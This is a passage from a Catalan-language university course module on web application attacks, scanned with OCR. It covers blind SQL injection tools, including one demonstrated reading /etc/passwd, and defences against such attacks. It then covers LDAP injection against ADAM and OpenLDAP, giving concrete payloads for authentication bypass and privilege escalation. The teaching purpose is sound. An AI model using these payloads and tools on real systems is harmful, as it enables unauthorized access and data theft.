del resultat negatiu. Aquest sistema funciona associat a una serie de filtres
de tolerancia i adaptacio per a poder-se automatitzar.

Hi ha diferents eines que permeten l'automatitzacié d'aquests atacs entre les
quals destaquen Absinthe, SQLInjector, SQLBfTools, Bfsql i SQL PowerlInjector.

SQLBfTools

SQLBfTools sén un conjunt d'eines escrites en llenguatge C destinades als atacs
a cegues en motors de bases de dades MySQL. L'autor ("illo") ha abandonat
I'eina i avui dia s'encarrega del manteniment el web http://www.unsec.net
(lldabll).

Esta composta per tres aplicacions:

o mysqlbf. Es I'eina principal per a I'automatitzacié de la técnica de blindSQL.
Per a poder executar-la s'ha de tenir un servidor vulnerable en el qual el
parametre estigui al final de I'URL i l'expressioé no sigui complexa.

Suporta codis MySQL:

e version()


http://www.unsec.net
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e user()

e  now()

e sytem_user()

El seu funcionament es fa mitjancant I'ordre segiient:

Mysglbf "host" "ordre" "paraulaclau"

En que:

e host és I'URL amb el servidor, el programa i el parametre vulnerable.

e ordre és una ordre per executar de MySQL.

e paraulaclau és el valor que solament es troba a la pagina de resultat positiu.

En la imatge segiient veiem com llancem l'aplicacié contra una base de dades

vulnerable i podem extreure l'usuari de la connexio.

aysqlib® P

http-sql adaptive bruteforce $Revision: 1.13 §
Liolireversing.org hitp:!:/Juww. reversing.org

This program is now being developed by Dab at
hitp: /Zwww, unsec, net

host:
port:
dos .phtal

id_autor=134
yser()
(null)

6ovid
abedefghi jklanopqratuvexyz@1234567898.: -~ (IR I, LAY O2D

*] dicctionary lenght: 425
+] dict loaded 280 bytes
resolving
best guess:
user() = --u-dgtaGloca!ho:l

Extracci user()

Com es pot veure, el programa ha necessitat 230 peticions per a treure'n 18
bytes. En la imatge segiient es veu com s'extreu la versio de la base de dades:
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N dmysalbf "http://www “7seccio=noticiesfid_article=4676" “versionl)”

http-sql sdeptive bruteforce SRevision: 1,13 §
ilo@reversing.org hilp://www.reversing.org

This progran is now being developed by Dab st
http://www.umsec. net

host:
: 89
s no/

! secclownoticlestid articlendb?6
i version()

(rwull)

)

" | i¢
: abcdefohl jklmnopars tuvwxyz01234567898. 1 -()[1()@= A1 47, EA<> 1D

£+) dicctionary lenght: 425
C(+]) dict loaded 280 bytes
resolving

Extracci6 version()

o mysqlget. Es l'eina pensada per a baixar fitxers del servidor. Aprofitant les
funcions a cegues i les ordres del motor de base de dades es pot anar llegint
lletra per lletra qualsevol fitxer del servidor.

En la imatge que apareix a continuaci6 es veu com es pot baixar el fit-
xer /etc/passwd a partir d'una vulnerabilitat d'injeccié SQL a cegues usant
I'mysqlget:

H:\ omysqlget

httg-sql blind downloader $Revision: 1.35 $§
iloBreversing.org http://www.reversing.org

THIS PROGRAM DELIBERATELY CONTAINS SEVERAL
BUFFER OVERFLOWS, SO USING AGAINST A ROGUE
SERVER MAY GIVE MORE PROBLEMS THAN RESULTS
cross-post: www.hacktimes.com www.unsec.net
host:

port:

uri @ os.phtml

ar?sz id_autor=1324

file: Zetc/passwd

mat.: David

(+] dicctionary lenght: 425

[+] dict loaded 380 bytes

resolving

file is 49 bytes long

~=~BOF -~
root:x:0:0:root:/root:/bin/

Fitxer /etc/passwd

e mysqlst. Aquesta eina s'utilitza per a bolcar les dades d'una taula. Primer
es consulta el diccionari de dades per a extreure el nombre de camps, els
noms, els tipus de dades de cada camp i, finalment, el bolcatge de les files.

Proteccioé contra injecciéo SQL a cegues

Com ho fem?, doncs comprovant-ho absolutament tot. Avui dia, en tots els
documents técnics en els quals s'avalua el desenvolupament d'aplicacions se-
gures hi ha disponible un ampli estudi sobre com es desenvolupa protegint
els programes contra la injecci6 de codi.

Michael Howard, un dels pares del model SDL', utilitzat per Microsoft en el
desenvolupament de les seves dltimes tecnologies i autor del llibre Writing
Secure Code (2a. ed.), dedica tot un tema a evitar la injecci6 de codi i el titula
de manera molt personal: "All Input Is Evil! Until proven otherwise".

MspL (secure development lifecycle)
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A més, gairebé tots els fabricants o responsables de llenguatges de programacio
d'aplicacions web ofereixen "millors practiques" per al desenvolupament segur
i donen recomanacions clares i concises per a evitar la injecci6é de codi. Aixi
doncs, cal comprovar-ho tot.

En tota consulta que es llenci contra la base de dades amb parametres que
vinguin de l'usuari, sense importar si en principi seran modificats o no per
l'usuari, els parametres han de ser comprovats i s’han de fer funcions de trac-
tament per a tots els casos possibles. Cal preveure que tots els parametres po-
den ser modificats i portar valors maliciosos. Es recomana utilitzar codis que
executin consultes ja precompilades per a evitar que interactui amb els para-

metres dels usuaris.

Aixi mateix, com s'ha vist, els atacants intenten fer enginyeria inversa i ex-
treure informaci6 de les aplicacions sobre la base dels missatges o tractaments
d'error. Es important que es controlin absolutament totes les possibilitats que
puguin generar error en qualsevol procediment per part del programador. Per
a cada acci6 d'error se n'ha de fer un tractament segur i evitar donar cap in-

formaci6 atil a un possible atacant.

Es recomanable que s'auditin els errors, tant els d'aplicacié com els de servidor,
ja que poden representar una fallada en el funcionament normal del progra-
ma o un intent d'atac. Es pot afirmar que gairebé el 100% dels atacants a un

sistema generaran algun error en l'aplicacio.
2.2. Imnjeccié LDAP

Aquest apartat vol mostrar les possibilitats i riscos dels atacs d'injecci6 LDAP
en aplicacions web. Amb aquests exemples es vol demostrar com és possible fer
atacs d'elevaci6 de privilegis, de salt de proteccions d'accés i d'accés a dades en
arbres LDAP mitjancant 1'Gs d'injeccions de codi LDAP. Aquestes injeccions de
codi s'han classificat en injeccions LDAP AND, injeccions LDAP OR i injeccions
LDAP a cegues.

Per a provar aquestes tecniques d'injeccio6 s'han utilitzat els motors ADAM de
Microsoft i el motor OpenLDAP, un producte de programari lliure, d'amplia

implantacio6 a escala mundial.
2.2.1. Injeccio LDAP amb I'ADAM de Microsoft

Per a fer totes les proves de les cadenes per injectar s'ha utilitzat I'eina LDAP
Browser, que permet connectar-se a diferents arbres LDAP, i un client web sin-
tetic, creat amb el component IPWorksASP.LDAP de I'empresa /n Software, per
a fer les proves d'execucio de filtres injectats. En la figura seglient es mostra a

titol d'exemple l'estructura que s'ha creat en 'ADAM.
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[ Idap://80.81.106.1

File Edit View Tools Help
- k2R xRE Mm% L
IR S o | X -
=<1 Browser root Name [ value [ Type Size
-6, ADAM (ou Impresoras entry il
=0 OU=Impresoras cN LostAndFound entry 233
{23 CN=Impresora_1 CacN NTDS Quotas entry 0
() CN=Impresora_12 QcN Roles entry 204
() CN=Impresora_22 Dou Terminales entry 21
(20 CN=Impresora_32 ou Usuarios entry 215
{10 CN=Impresora_63 [=) objectClass top text attribute 3
{13 CN=Impresora_76 (=) objectClass organization text attribute 12
() CN=LostAndFound o RetoHacking4 text attribute 12
2 CN=NTDS Quotas [l distinguishedName O=RetoHackingd text attribute 14
503 CN=Roles [=linstanceType 5 text attribute 1
2 CN=Administrators [El whenCreated 20070827145326.0Z text attribute 17
& Ch-Readers [=lwhenChanged 20070827145326.0Z text attribute 17 |
- (=) uSNCreated 8196 text attribute 4
B CN=Users =) uSNChanged 8210 text attribute 4
=0 OU=Terminales =l name RetoHackingd text attribute 12
(3 CN=Terminal 1 ) objectGUID A6 OF 10 28 31 18 8A 4D B6 44 D8 CD E4 EC 5A ... binary attribute 16
0 CN=Terminal 2 [=) wellKnownObjects B:32:A0D1CA15768811D1 ADEDOOCO4FDSDSCD:CN=Rol... text attribute 61
(3 CN=Terminal 21 =l wellKnownObjects B:32:6227F0AF1FC2410D8E3BB10615BB5BOF:CN=NTDS ... text attribute 67
(3 CN=Terminal 3 (=) wellknownObjects :32:AB815387768811D1 ADEDOOCO4FDBDSCD:CN=Lost... text attribute 68
(3 CN=Terminal 43 IIKnownObject: 18E 11D2BIAAQ0CO4FTOFB0S5:CN=Delete... text attribute 7
(3 CN=Terminal 51 [=) objectCategory CN=Organization,CN=Schema,CN=Configuration,CN...  text attribute 84
£-{0 OU=Usuarios [=) msDs-masteredBy CN=NTDS Settings, CN=OCTOPUSSRetoHacking4,CN... ~ text attribute 146
(3 CN=Anvin Sloane SD6 [ createTimeStamp 20070827145326.0Z operational attribute 17
@ [, OpenlDAP [ modifyTimeStamp 20070827145326.0Z operational attribute 17
3 subSchemaSubEntry CN=Aggregate, CN=Schema,CN=Configuration,CN={... operational attribute 81
- E
® Rl Messages
e
Ready. For Help, press F1 [@ CN=Anvin Sloane SD6,0U=Usuarios,O=RetoHacki [Schema loaded | @

Estructura de I'arbre LDAP creat en 'ADAM

Suposem ara que l'aplicacié web utilitza una consulta amb el filtre segiient:
(cn=Impressora_1). En llancar aquesta consulta s'obté un objecte, com es pot

veure en la figura segilient:

@ ()~ icabd.com/bli tion/Default.aspx v | %2 [ X [| Live Search P~
— N - B >
v o |@ Cliente LDAP -Informatica64- ] ] ) v B ~ d=h v =) Pagina v &} Herramientas v
CLIENTE LDAP por Informatica64
N Datos de Usuario
Datos del Servidor - )
An6nimo
Servidor 80.81.106.148 Credencinles
[ Puerto 983 Usuario CN=Anin Sloane SD6,0U=Usuarios,0=RetoH "
Version LDAP 3 Contrasefia
DN: O=RetoHacking4
Datos Consulta
Operador: ) AND ©OR Sin Operador

Atributo_1 cn Valor Impresora_1

Atributo_2 Valor

Resultados
Datos () Booleano

[ Ejecutarlaconsuita |

Resultados de la Consulta: (cn=Impresora_1)
CN=Imp! _1,0U=Imp O=RetoHacking4

Total=1

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de ati Wit i .com.

€ Internet | Modo protegido: activado #100% ~

S'obté un objecte de resposta amb el filtre (cn=Impressora_1)

El que voldria un atacant que faci una injeccié seria poder accedir a tota
la informacié mitjancant la inclusié d'una consulta que ens retornés totes
les impressores. En l'exemple, veiem quin hauria de ser el resultat per obte-
nir amb una consulta seguint el format definit en les RFC sobre ADAM: |
(cn=Impressora_1)(cn=Impressora*))
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AP -Inf 64- - Windows Internet Explorer:

pinjection/Default.aspx v [ 2| X ||| Live Search -

@ e v = v |::b Pagina v {(} Herramientas v =

£ http//www.i

GuU-

Wk [@ Cliente LDAP -Informatica64- [71

CLIENTE LDAP por Informatica64 B

, Datos de Usuario
Datos del Servidor
i © Anénimo
Servidor 80.81.106.148 © Credenciales
Puerto 983 Usuario CN=Anin Sloane SD6,0U=Usuarios,0=RetoH
Version LDAP 3 Contrasefia
DN: O=RetoHacking4
Datos Consulta
Operador: © AND @ O0R (© sin Operador
Atributo_1 cn Valor Impresora_1 5
Atributo_2 cn Valor Impresora*
Resultados
© patos () Booleano

Ejecutar laconsulta |

Resultados de la Consulta: (|(c p _1)(c pi )

CN=Impi _1,0U=Imp O=Retok 4

Cl p 12,0 (o} -

CN=Impi _22,0U=Imp O 4

Cl p 32,0 (o}

C p _63,0 I (o} 4

Cl p _76,0! (o}

Total=6
El componente utilizado para esta demo es el IP*Works! V6 de /n software. wwnw.nsoftware.com. | |
La demo ha sido desarrollada por Rodolfo Bordén de Informaticaéd. v i ica64.com -~
€ Internet | Modo protegido: activado #100% v

Totes les impressores

No obstant aix0, com es pot apreciar, per a construir aquest filtre necessitariem
injectar un operador i un paréntesi al principi. En l'exemple, la injeccié no
resulta gaire util, ja que s'esta fent en tots dos condicionants sobre cn, pero
aquest filtre només esta creat per a il-lustrar la necessitat d'injectar codi abans

del filtre i al mig del filtre. Si provem la injeccié proposada per Sacha Faust en
ADAM: (cn=Impressora_1)(|(cn=Impressora*))

ion/Default.aspx

o [ @ Cliente LDAP -Informitica6d- ] |

CLIENTE LDAP por Informatica64

Datos de Usuario
Datos del Servidor .
- © Anénimo
Servidor 80.81.106.148 ® Crodenciales
Puerto 983 Usuario CN=Avin Sloane SD6,0U=Usuarios,0=RetoH
Version LDAP 3 Contrasefia
DN: O=RetoHackingd
Datos Consulta
Operador: ©) AND ©OR @ Sin Operador
Atributo_1 cn Valor Impresora_1)(|(cn=Impresora*)
Atributo_2 Valor
Resultados
l © Datos ) Booleano
[ Ejecutariaconsuta |
de la Consulta: _1)(1( p )
Cl _1,0! 0
Total=1

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordon de Informatica6d. wwaw.informaticaéd.com.

€ Internet | Modo protegido: activado #100% v

Injecci6 sense resultats
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Com es pot apreciar en la figura anterior, en l'dltima prova, la injeccié no
produeix cap error, pero, a diferencia de les proves que fa Sacha Faust amb el
SunOne Directory Server 5.0, el servidor ADAM no retorna més dades. Es a
dir, només retorna les dades del primer filtre complet i la resta de la cadena
és ignorat.

2.2.2. Injecciéo LDAP amb OpenLDAP
Per a fer les proves d'injeccié en 'OpenLDAP s'ha utilitzat 1'arbre que el projecte

OpenLPAD.org mateix ofereix per a aplicacions de prova, l'estructura del qual
és la seglient:

L AT T —————
: Fle Edit View JTools Help
e -804 ¢BR XEE BE- | %
Py £ ot | K =
=1 Browser root Name | Value Type Size =
g, Abam de OpenLDAP entry 269
|| BEN=E= B OpenLDAP| (=] objectClass top text attribute 3 =
=] dc=OpenlLDAP [l objectClass OpenLDAProotDSE text attribute 15
(1 cn=Directory Manager B structuralObjectClass OpenLDAProotDSE operational attribute 15
=] ou=People [3¥ configContext cn=config operational attribute 9
() vid=kurt WnamingContexts dc=0OpenlLDAP,dc=org operational attribute 18
(2 vid=kdz [3¥ monitorContext cn=Monitor operational attribute 10
" (2 vid=hyc [ supportedControl 2.16.840.1.113730.34.18 operational attribute 24
| (1 uid=venaas 32 supportedControl 216.840.1.113730.34.2 operational attribute 23
(2 ou=Groups [ supportedControl 1361.4142031.101 operational attribute 23
3 supportedControl 1.2.840.113556.1.4.1340 operational attribute 23
[3¥ supportedControl 1.2.840.113556.1.4.1413 operational attribute 23 -
<[ m )
X -
é «|» [\ Messages / i
Ready. For Help, press F1 € Anonymous Schema loaded [@ ¥

Estructura de I'arbre LDAP en |'OpenLDAP

Sobre aquesta estructura executem una consulta per a buscar un usuari i obte-
nim un dnic objecte com a resultat: (uid=kurt)
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Informéaticab4- - Windows I

@ . v | €] http://; inf icab4.com/bli injection/Default.aspx v 42| X [| Live Search P~
— - N >
W [@ Cliente LDAP -Informatica64- ] l o~ v = v = Pagina v {(} Herramientas v

CLIENTE LDAP por Informatica64

, Datos de Usuario
Datos del Servidor L
Servidor www.openldap.com ©) Credenciales
Puerto 389 =T
Version LDAP 3 Contrasefia
DN: dc=openLDAP,dc=org
Datos Consulta
Operador: ©) AND @ OR @ Sin Operador
Atributo_1 uid Valor kurt
Atributo_2 Valor
Resultados
atos () Booleano
[ Ejecutarlaconsuita |
Resultados de la Consulta: (uid=kurt)
uid=kurt,ou=People,dc=OpenLDAP,dc=0rg
Total=1

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de Informatica64. www.informatica6d.com.

Listo € Internet | Modo protegido: activado #100% ~ i

En executar el filtre (uid=kurt) obtenim un Gnic resultat

Si volguéssim ampliar el nombre de resultats, seguint el format definit en
I'RFC, hauriem d'executar una consulta en la qual injectéssim un operador
OR i un filtre que inclogués tots els resultats, com es pot veure en la imatge
segient: (|(uid=kurt)(uid=*))

/Default.aspx v | 5 l X H Live Search »p "

| ~ (e . — B
W& [gclienteLDAP -Informatica64- l 1 o~ v f=h v = Pagina v {(} Herramientas v .

CLIENTE LDAP por Informatica64

i Datos de Usuario
Datos del Servidor
Servidor www.openldap.com ® Credenciales
Puerto 389 Usuario
Version LDAP 3 Contraseiia
DN: dc=openLDAP dc=org
Datos Consulta
Operador: ©) AND ©@OR © Sin Operador
Atributo_1 uid Valor kurt
Atributo_2 uid Valor *
Resultados
© patos () Booleano

[ Ejecutar la consulta ]

Resultados de la Consulta: (|(uid=kurt)(uid="))

uid=kurt,ou=People,dc=OpenLDAP,dc=0rg

uid=kdz,ou=People,dc=OpenLDAP,dc=0rg

uid=hyc,ou=People,dc=OpenLDAP,dc=Org
uid=venaas,ou=People,dc=OpenLDAP,dc=0Org

Total=4

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de Informaticaéd. wwaw.informaticaéd.com.

@ Internet | Modo protegido: activado #100% ~

Tots els usuaris
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Si fem la injecci6 tal com proposa Sacha Faust en el seu document sobre LDAP
obtindriem els resultats segtients: (uid=kurt)(|(uid=*))

V& Ciiente LDAP Tnformaticabd- - EEIEaAEX
@\J ~ [ &) nttp://www.informatica64.com/blindidapinjection/Default.aspx « [ 49 [ x | Live Search 2 |

A Y S— i ) »
w4k (& Cliente LDAP -Informatica64- ‘ (} v B} v @=m v :o»Pégina v ((} Herramientas v

CLIENTE LDAP por Informatica64

i Datos de Usuario
Datos del Servidor

© Anénimo
Servidor www.openldap.com © Credenciales
Puerto 389 T
Version LDAP 3 Contrasefia
DN: dc=openLDAP,dc=o0rg
Datos Consulta
Operador: ©) AND JOR @ Sin Operador
Atributo_1 uid Valor kurt)(|(uid=")
Atributo_2 Valor

Resultados
© Datos _) Booleano

[ Ejecutarlaconsuta |

Resultados de la Consulta: (uid=kurt)(|(uid="))
uid=kurt,ou=People,dc=OpenLDAP,dc=0rg

Total=1

El componente utilizado para esta demo es el IP*Works! V6 de /n software. ww.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de Informaticaéd. wn.informatica6d.com.

& Internet | Modo protegido: activado ®100% ~

Injeccié OpenLDAP. S'ignora el segon filtre

Com es pot apreciar en la figura anterior, el servidor OpenLDAP ha ignorat el

segon filtre i solament ha retornat un usuari, igual com ho feia ' ADAM.

2.2.3. Primeres conclusions

Després de fer aquestes proves podem extreure les conclusions segiients:

Per a fer una injeccié de codi LDAP en una aplicacié que treballi contra 'ADAM
o I'OpenLDAP és necessari que el filtre original, és a dir, el del programador,
tingui un operador OR o AND. A partir d'aquest punt es poden fer injeccions
de codi que permetin extreure informaci6 o fer atacs blind, és a dir, a cegues.

En aquest mateix entorn és necessari que la consulta generada després de la
injecci6 estigui correctament niada en un anic parell de paréntesis general o
bé que el component permeti 1'execucié amb informaci6é que s'utilitzara a la
dreta del filtre.

La injecci6 que queda composta segons el document de Sacha Faust pot ser
vista de dues maneres diferents: en una, com un Unic filtre amb un operador,
i en l'altra, com la concatenaci6 de dos filtres. En el primer cas tindriem un
filtre mal compost. D'altra banda, si la injecci6 es veu com dos filtres, estariem
parlant d'un comportament particular d'alguns motors LDAP (que no compar-
teixen amb OpenLDAP ni amb ADAM) i, a més, amb un segon filtre amb un
operador, l'operador OR, innecessari.
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A partir d'aquest punt, anem a analitzar diferents tipus d'injeccions LDAP que
poden representar un risc de seguretat en els sistemes LDAP als quals accedei-

xin aplicacions web.
2.2.4. Injecciéo LDAP OR

En aquest entorn ens trobariem que el programador ha creat una consulta
LDAP amb un operador ORiun o tots dos parametres son sol-licitats a l'usuari:

(| (atributl=valorl) (atribut2=valor?2))

Suposem en l'exemple de l'arbre LDAP que tenim una consulta injectable del
tipus seglient: (|(cn=D*)(ou=Groups)). Es a dir, que retorna tots els objectes el
valor dels quals en "cn" comenci per "D" o el valor de la qual en "ou" sigui
"Groups". En executar-la obtenim:

| /€ Cliente LDAP

@u v |&] http://www.inf icab4.com/bli injection/Default.aspx Live Search L~
A ( R = ) »
W I (€ Cliente LDAP -Informaticabd- ’ l @ s v = v ;b Pagina v {} Herramientas v

CLIENTE LDAP por Informatica64

R Datos de Usuario
Datos del Servidor

© Anénimo
Servidor www.openldap.com © Credenciales
Puerto 389 Usuario
Version LDAP 3 Contraseiia

DN: dc=openLDAP,dc=org

Datos Consulta
Operador: © AND @ OR © Sin Operador
Atributo_1 cn Valor D*
Atributo_2 ou Valor Groups
Resultados
© patos () Booleano

Resultados de la Consulta: (|(cn=D*){ou=Groups))

cn=Directory Manager,dc=OpenLDAP,dc=0rg
ou=Groups,dc=0OpenLDAP,dc=0rg

[ Ejecutarlaconsulta__| ]
|

Total=2

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordon de ati Wil q com.

Listo & Internet | Modo protegido: activado #100% «

e — —_— ——— —_———

Consulta OR sense injeccié

Si aquesta consulta sofris una injeccié de codi en el primer parametre, podriem
fer una consulta que ens retornés la llista d'usuaris emmagatzemats. Per a aixo
realitzem la injecci6 en el primer valor de la cadena segiient: void)(uid=*))(|
(uid=*
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m/blindldapinjection/Default.aspx

@Ov €] http://www.inf

W IeCIienteLDAP-Informa’ticaM- ‘ | o~ v f=h v | Pagina v {(} Herramientas v

CLIENTE LDAP por Informatica64

, Datos de Usuario
Datos del Servidor

© Anénimo
Servidor www.openldap.com O -
Puerto 389 Usuario
Version LDAP 3 Confraseiia

DN: dc=openLDAP,dc=org

Datos Consulta
Operador: ©) AND @ OR © Sin Operador
Atributo_1 cn Valor void)(uid="))(|(uid=*
Atributo_2 ou Valor Groups
Resultados
© Dpatos () Booleano

[ Ejecutarla consulta l

Resultados de la Consulta: (|(c id)(uid="))(I(uid=")( ps)) ]
uid=kurt,ou=People,dc=OpenLDAP,dc=0rg
uid=kdz,ou=People,dc=OpenLDAP,dc=0rg
uid=hyc,ou=People,dc=OpenLDAP,dc=0rg

uid=venaas,ou=People,dc=OpenLDAP,dc=0rg

Total=4

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordon de Informaticaé4. wwaw.informaticaéd.com.

& Intemnet | Modo protegido: activado #100% v

Llista d'usuaris obtinguda després de la injeccié

En formar-se la consulta LDAP aquesta quedara construida de la manera se-
glent: (|(cn=void)(uid=*))(|(uid=*)(ou=Groups)), i permetra obtenir, com es pot

veure en la figura "Tots els usuaris", 1a llista de tots els usuaris de 1'arbre LDAP.

Un altre exemple d'aquesta técnica és l'aplicaci6 segiient de gesti6 interna; en
aquest cas tenim una aplicaci6 que llanca una consulta LDAP del tipus segiient:

(| (type=outputDevices) (type=printer))

&) Resources - Moxilla Firefox =l E
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
<?l v - @ /Ll} http://www.ServerDemo.com/resources.php?type=printer ‘ '] D] l" Google ‘u\]
RESOURCES EXPLORER
User Steven Lisberger Level low
Resource[Friters =]
Xerox 2300 Laser Color 4P Laserjet 2100 Cannon 348 Lx II Xerox WSX1200
Terminado

Llista d'impressores i dispositius de sortida

Si el parametre type que va per GET en I'URL és injectable, un atacant podria
modificar el filtre de consulta LDAP amb una injecci6 del tipus segiient:

(| (type=outputDevices) (type=printer) (uid=*)) (| (type=void))
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Amb aquesta injeccio6 l'atacant obtindria, en aquest exemple, la llista de tots

els usuaris, com es pot veure en la figura segiient:

@& Resources - Mozilla Firefox o | B |

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

@ < = @ /d} http://www.ServerDemo.com/resources.php?type=printer)(uid=")) | v | [> @v Google Ly
RESOURCES EXPLORER

User Steven Lisberger Level low

Resource| Printers [~
/" /{ /"’ /"’
= =7 = =
Xerox 2300 Laser Color HP Laserjet 2100 Cannon 349 Lx II Xerox WSX1200
/ / / /
=7 = =7 =7
Steven Lisberger David Warner Cindy Morgan Alan Bradley

Terminado

Accés a la llista d'usuaris mitjangant la injeccié LDAP OR

2.2.5. Injecciéo LDAP AND

En el cas d'injeccions en consultes LDAP que portin 'operador AND, l'atacant
esta obligat a utilitzar com a valor en el primer atribut alguna cosa valida, pero
es poden utilitzar les injeccions per a mediatitzar els resultats i, per exemple,
fer escalades de privilegis. En aquest cas ens trobariem una consulta del tipus
segient:

(& (atributl=valorl) (atribut2=valor?2))
Suposem un entorn en el qual es mostra la llista de tots els documents als quals
un usuari amb pocs privilegis té accés mitjancant una consulta que inclou
el directori de documents en un parametre injectable. Es a dir, la consulta
original és:

(& (directori=nom directori) (nivell seguretat=baix))

Un atacant podria construir una injeccié de la manera seglient per a poder
accedir als documents de nivell de seguretat alt.

(& (directori=magatzem) (nivell seguretat=alt)) (| (directori=magatzem) (nivell seguretat=baix))

Per a aconseguir aquest resultat s'haura injectat en el nom del directori la ca-
dena segiient:

magatzem) (nivell seguretat=alt)) (| (directori=magatzem



© FUOC  PID_00178950 50

Atacs a aplicacions web

Un exemple d'aquest atac es pot veure en l'aplicaci6 segiient. En primer lloc,
es fara un accés no autoritzat a l'aplicacié web utilitzant una injeccié que eviti

la comprovacié de la contrasenya. L'aplicacié llanca una consulta LDAP del
tipus:

(& (uid=valor_ de user) (password=valor de password)
Injectant la cadena segiient en el valor de userslisberger)(&)), I'atacant obtindria

una consulta LDAP que sempre retornaria l'usuari slisberger i, per tant, acon-
seguiria l'accés a l'aplicacio.

@) Login - Mozilla Firefox o | G [
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
e-»-¢& 3 [ nttpv/www.Serveremo.com/ || B [[Gl+[ Google 5%
ACCESS CONTROL.
USER [lisberged(e)) ]
PASSWORD [Fresssesssssssss ]

Terminado

Accés no autoritzat mitjancant injeccié LDAP AND

I, com es pot veure en la figura seglient, 1'usuari aconsegueix accés al directo-
ri privat de l'usuari slisberger. En aquest cas, s'ha utilitzat el filtre (&), que és
I'equivalent al valor true en els filtres LDAP.

& Home - Moxilla Firefox (ESH ™™

Archivo Editar Ver Historial Marcadores Herramientas  Ayuda

e - »-& % | httpy//www.ServerDemo.com [ B [[Gl=] Google &
HOME

User  Steven Lisberger Level low

Resources || Documents

Terminado

Directori inicial de |'usuari

Com es pot veure, en aquest cas, l'usuari ha accedit amb privilegis de nivell
baix, i en l'aplicaci6 de mostrar documents, que es va descriure al principi
d'aquest apartat, solament tindria accés als documents de nivell baix, com es
pot veure en la figura seglient:
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E Documents - Mozilla Firefox C=Trat X )
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
<EI = @ v @ /Ll‘_). http://www.ServerDemo.com/document.php?path=Documents&recursive=yes l'l [>I "‘Gccg\e \\]
DOCUMENT EXPLORER
User Steven Lisberger evel low
FILE NAME DESCRIPTION LEVEL
/Documents/Memos

) Ray-Ban Memo Draft 0.6

/Documents/Projects
] Hotel White Perl

/Documents/Short Reports
i#] Operations Manager 2005

/Documents/Proposals

I Sony Ericsson Jun 2006
=]

/Documents/Case Studies
] 1DG Books

") Prentice Hall

Low

Low

Low

Low

Low

Low

m

Terminado

Llista de documents de nivell baix

La consulta que s'esta executant és:

(& (directory=nom directori) (level=low))

El valor de level 'esta agafant 'aplicaci6 de les variables de sessi6 del servidor;

no obstant aixd, un atacant podria injectar en el nom del directori aquesta

ordre: Documents)(level=High). D'aquesta manera, 'ordre que s'executaria seria:

(& (directory=Documents) (level=High)) (level=low))

Aix0 permetria a l'atacant accedir a tots els documents. S'ha produit una ele-

vacio de privilegis.



© FUOC  PID_00178950 52

Atacs a aplicacions web

‘(E Documents - Mozilla Firefox o= |
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
L 7
<CI < - @ {L/‘ http://www.ServerDemo.com/document.php?path=Documents)(level=High))&recursive=yes| ‘L > '
DOCUMENT EXPLORER
User Steven Lisberger Level low
FILE NAME DESCRIPTION LEVEL
/Documents/Memos
) Ray-Ban Memo Draft 0.6 Low
) LucasArts Memo Final 1.0 Mediun
@_] Columbia Pictures Memo Final 1.0b Rev 1 High
/Documents/Projects
W) Hotel White Perl Lowr L
Fﬂ Seagate Summary 2006 High
/Documents/Short Reports
ﬁi] Operations Manager 2005 Low
] Crude stays below $100 Mediun
/Documents/Proposals
|| Ssony Ericsson Jun 2006 Low
@ Lider Paper May 2007 High
/Documents/Case Studies
| ) 1DG Books Low
i | ] samsung High
[} nokia Mediun
) Prentice Hall Low
Terminado

Elevacié de privilegis mitjancant injeccié LDAP AND

2.2.6. Injeccido LDAP a cegues

Una de les evolucions de les injeccions d'ordres son les accions a cegues, els
atacs blind. Es comd trobar-se ja documentats els atacs d'injeccié SQL a cegues,
pero, no obstant aixo, dels atacs d'injeccié LDAP a cegues no s'ha parlat gens.
Es possible fer un atac a cegues per a extreure informacié d'un arbre LDAP?
La resposta és si.

L'entorn per a fer un atac a cegues sol ser una aplicacié web que compleix dues
caracteristiques:

e L'aplicacié no mostra els resultats obtinguts de la consulta feta a l'arbre
LDAP.

e L'Gs dels resultats produeix canvis en la resposta HTTP que rep el client.

Per a fer un atac a cegues necessitem poder crear la logica per a extreure infor-
maci6 canviant els resultats obtinguts amb el filtre LDAP i observant els canvis
en les respostes HTTP.

Injeccié LDAP a cegues en un entorn AND

En aquesta situaci6 tenim una consulta generada en el costat del servidor del
tipus segtient:

(& (atributl=valorl) (atribut2=valor?2))
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Per a fer la injeccié haurem de tenir en compte que en un entorn AND tenim
un parametre fix que ens condicionara. L'entorn ideal és aquell en el qual
l'atributl és el més general possible; per exemple, objectClass o cn, amb la qual
cosa podrem seleccionar gairebé qualsevol objecte de I'arbre. Després li haurem
d'aplicar un valor que sigui true, és a dir, que sempre seleccioni objectes per
a tenir-lo fixat al valor true i utilitzar com a segon atribut un de conegut que
també ens garanteixi que sigui true.

Suposem la consulta LDAP segiient:

(& (objectClass=Impressores) (impressoraTipus=Epson¥*))
Que es llanca per a saber si en el magatzem d'una empresa hi ha impressores
Epson, de tal manera que el programador, si rep algun objecte, simplement
pinta a la pagina web la icona d'una impressora Epson.
Es clar que després de la injeccié com a molt aconseguirem veure o no la icona

de la impressora. Bé, doncs fem-ho. Fixem la resposta positiva tal com hem
dit, fent una injecci6 del tipus segiient:

(& (objectClass=*) (objectClass=*)) (& (objectClass=void) (impressoraTipus=Epson*))

El que esta posat en negreta seria la injeccié que introduiria 1'atacant. Aquesta
injecci6 ha de retornar sempre algun objecte; després, en I'exemple plantejat,
en la resposta HTTP veuriem una icona de la impressora. A partir d'aqui po-
driem extreure els tipus d'objectClass que tenim en el nostre arbre LDAP.

Reconeixement de classes d'objectes d'un arbre LDAP

Sabent que el filtre (objectClass=*) sempre retorna algun objecte, ens hauriem
